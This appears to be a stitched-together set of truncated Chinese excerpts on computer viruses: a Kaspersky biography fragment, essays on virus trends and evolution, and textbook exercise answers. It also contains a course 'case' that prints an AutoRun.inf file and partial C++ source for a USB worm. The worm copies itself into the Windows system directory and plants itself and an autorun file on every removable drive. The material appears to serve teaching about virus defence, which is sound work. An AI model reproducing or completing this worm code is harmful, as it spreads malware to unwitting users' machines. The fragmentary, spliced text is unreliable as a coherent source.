一是俄罗斯的Eugene Kaspersky。1989年，Eugene Kaspersky开始研究计算机病毒现象。从1991年到1997年，他在俄罗斯大型计算机公司“KAMI”的信息技术中心，带领一批助手研发出了AVP反病毒程序。Kaspersky Lab于1997年成立，Eugene Kaspersky是创始人之一。2000年11月，AVP更名为Kaspersky Anti-Virus。Eugene Kaspersky是计
计算机病毒发展趋势
病毒防护，详解计算机病毒发展趋势 我们先来看看计算机病毒的定义：计算机病毒就是能够通过某种途径潜伏在计算机存储介质（或程序）里, 当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一组程序或指令集合。在这里我们可以清楚地看到计算机病毒的几个基本特征： 1、计算机病毒潜伏在计算机存储介质或者程序中传播； 2、对计算机资源具有破坏作用的程序或者指令集合； 3、当达到一定条件时被激活； 以上这些特征，是我们对计算机病毒比较经典的定义，我们也一直以此来作为计算机病毒的判断方式。所以，我们可以先根据计算机病毒的定义来看看病毒的一些发展趋势。 一）病毒传播方式不再以存储介质为主要的传播载体，网络成为计算机病毒传播的主要载体。 当计算机病毒于1983年11月在美国计算机专家的实验室里面诞生的时候，计算机网络还只是在科学界使用。直到1994年，计算机网络才真正在美国实现商业化的运作。在1994年以前，计算机病毒的传播载体其实主要是软盘，所以，我们现在还可以清楚地记得学校里面老师一次又一次的在上机之前对软盘进行杀毒。到了1998年，计算机病毒才真正在网络上打出自己的天地，那就是1998 年年底出现的Happy99病毒，这款病毒是网络蠕虫病毒的始祖，从此，计算机病毒几乎完全与软盘脱离关系。计算机病毒的传播越来越依靠网络，1998年以后出现的影响比较大的病毒，几乎都利用了网络以传播到全世界的每一个角落。包括CIH病毒也是利用了当时“小龙女”屏幕保护程序在网上传播。 到现在，我们在生活和工作中，已经很少使用软盘，网络成为我们传播文件的主要方式，因此，计算机病毒也就不在依靠传统的传播方式，网络成为计算机病毒传播的最主要载体，这里面有两层涵义： （一）计算机病毒的传播被动的利用了网络；比如CIH病毒完全是一款传统的病毒，但是，它依附在其他程序上面通过网络进行传播； （二）计算机病毒主动利用网络传播；比如FunLove病毒、尼姆达等，这些病毒直接利用了网络特征，甚至，如果没有网络，这些病毒完全没有发挥余地；这也是今后计算机病毒的最常见的特征； 二）传统病毒日益减少，网络蠕虫成为最主要和破坏力最大的病毒类型。
计算机病毒案例
一、U盘病毒 AutoRun.inf 文件 [AutoRun] open=proj7_2.exe shell\open=打开(&O) shell\open\Command=proj7_2.exe shell\explore=我的资源管理器(&X) shell\\explore\\Command=proj7_2.exe proj7_2.cpp 案例名称：U 盘恶意代码 程序名称：proj7_2.cpp #include "stdafx.h" bool SaveToFile(char* Path,char* Data){ HANDLE hFile; hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); if(hFile==INVALID_HANDLE_VALUE){/*continue; //出错时处理*/} DWORD dwWrite; WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL); CloseHandle(hFile); return true; } BOOL InfectU() { while(true) { UINT revtype; char name[256]="H:\\" ; char szName[256]={0}; char toPath[256]={0}; char infPath[256]={0}; char openU[80]={0};
//遍历所有盘符 for(BYTE i=0x42;i<0x5B;i=i+0x01) { name[0]=i; //得到盘符类型 revtype=GetDriveType(name); //判断是否是可移动存储设备 if (revtype==DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFileName(NULL,szName,256); //比较是否和U 盘的盘符相同 //如果相同说明在U 盘上执行，复制到系统中去 if(strncmp(name,szName,1)==0) { //得到系统目录 GetSystemDirectory(toPath,256); strcat(toPath,"\\proj7_2.exe"); //把自身文件复制到系统目录 if(CopyFile(szName,toPath,TRUE)) { //运行程序 WinExec(toPath,0); } strcpy(openU,"explorer "); strcat(openU,name); //打开U 盘 WinExec(openU,1); return 0; }//如果不是在U 盘上执行，则感染U 盘 else { strcpy(toPath,name); strcat(toPath,"\\proj7_2.exe"); strcpy(infPath,name); strcat(infPath,"\\AutoRun.inf"); //还原U 盘上的文件属性 SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
病毒的演变和发展
病毒的演变和发展 摘要 生活在二十一世纪，计算机技术发展已相当迅猛，不仅促进了全球科学技术的迅猛发展提高了人类生产能力及创新能力还给人们的生活和生产带来了更多的方便和快捷。然而层出不穷且破坏性越来越大的计算机病毒却给我们带来了巨大的破坏和威胁，俨然已成为当今社会计算机信息进步的致命杀手。 关键字：病毒产生病毒特点演变发展防治 计算机病毒（Computer Virus）在《中华人民共和国计算机信息系统安全保护条例》中被明确定义，指的是“编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。计算机病毒已成为当代信息社会的致命杀手，尤其是病毒与黑客技术相结合，使其对抗反病毒技术的能力越来越强。面对这种严峻形势，人们急需要了解病毒的特征和反病毒技术，做到防杀结合，才能立于不败之地。 一、计算机病毒简介 计算机病毒是一个程序，一段可执行码。就像生物病毒一样，计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延，又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时，它们就随同文件一起蔓延开来。 除复制能力外，某些计算机病毒还有其它一些共同特性：一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎仅仅表现在文字和图象上时，它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不寄生于一个污染程序，它仍然能通过占据存贮空间给你带来麻烦，并降低你的计算机的全部性能。 可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复制, 具有传染性。 所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一组程序或指令集合。 二、计算机病毒的发展与演变 在病毒的发展史上，病毒的出现是有规律的。通常在一种新的病毒技术出现后，病毒迅速发展，接着反病毒技术的反站会遏制其流传。当病毒库或操作系统升级后，病毒也会调整为新的方式，产生新的病毒。病毒的发展可以分为一下几个阶段。 （一）萌芽阶段 20世纪80年代早期出现了第一批计算机病毒。这些早期的病毒大部分是试
计算机病毒与防御技术课后习题
第一章计算机病毒概述 1、什么是计算机病毒？计算机病毒包括哪几类程序？ 答编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒（Computer Virus）。具有破坏性，复制性和传染性。 (一)文件类病毒。该病毒在操作系统执行文件时取得控制权并把自己依附在可执行文件上，然后利用这些指令来调用附在文件中某处的病毒代码。当文件执行时，病毒会调出自己的代码来执行，接着又返回到正常的执行序列。通常，这些病毒发作迅速且隐蔽性强，以至于用户并不知道病毒代码已被执行。 (二)引导扇区病毒。它会潜伏在硬盘的引导扇区或主引导记录中。触发引导区病毒的典型事件是系统日期和时间被篡改。 (三)多裂变病毒。多裂变病毒是文件和引导扇区病毒的混合，它能感染可执行文件，从而能在网上迅速传播蔓延。 (四)隐蔽病毒。这种病毒通过挂接中断修改和隐藏真面目，具有很大的欺骗性。因此，当某系统函数被调用时，这些病毒便“伪造”结果，使一切看起来正常。秘密病毒摧毁文件的方式是伪造文件大小和日期，隐藏对引导区的修改，而且使大多数操作重定向。 (五)异形病毒。这是一种能变异的病毒，随着感染时间的不同，改变其不同的形式。不同的感染操作会使病毒在文件中以不同的方式出现，使传统的模式匹配法失效。 (六)宏病毒。宏病毒不只是感染可执行文件，还可感染一般应用软件程序。它会影响系统的性能以及用户的工作效率。宏病毒是利用宏语言编写的，不面向操作系统，所以它不受操作平台的约束，可以在DOS、Win-dows,Unix、Mac甚至在0S／2系统中传播。宏病毒能被传到任何可运行编写宏病毒应用程序的机器中。现在随着E-mail、WWW等强大的互联能力及宏语言的进一步强化，极大地增强了它的传播力。 2 、计算机病毒的发展可以大致划分为几个过程？每个过程的特点？ 答在病毒的发展史上，病毒的出现是有规律的，一般情况下一种新的病毒技术出现后，病毒迅速发展，接着反病毒技术的发展会抑制其流传。操作系统升级后，病毒也会调整为新的方式，产生新的病毒技术。它可划分为： DOS引导阶段 1987年，计算机病毒主要是引导型病毒，具有代表性的是“小球”和“石头”病毒。当时的计算机硬件较少，功能简单，一般需要通过软盘启动后使用.引导型病毒利用软盘的启动原理工作，它们修改系统启动扇区，在计算机启动时首先取得控制权，减少系统内存，修改磁盘读写中断，影响系统工作效率，在系统存取磁盘时进行传播。 1989年，引导型病毒发展为可以感染硬盘，典型的代表有“石头2”。 我国最早出现的计算机病毒是1988年在财政部的计算机上发现的。 DOS可执行阶段 1989年，可执行文件型病毒出现，它们利用DOS系统加载执行文件的机制工作，代表为“耶路撒冷”、“星期天”病毒。病毒代码在系统执行文件时取得控制权，修改DOS中断，在系统调用时进行传染，并将自己附加在可执行文件中，使文件长度增加。 1990年，发展为复合型病毒，可感染COM和EXE文件。 伴随批次阶段 1992年，伴随型病毒出现，它们利用DOS加载文件的优先顺序进行工作，具有代表性的是“金蝉”病毒，它感染EXE文件时生成一个和EXE同名但扩展名为COM的伴随体；它感染文件时,改原来的COM文件为同名的EXE文件，再产生一个原名的伴随体，文件扩展名为COM，这样，在DOS加载文件时，病毒就取得控制权.这类病毒的特点是不改变原来的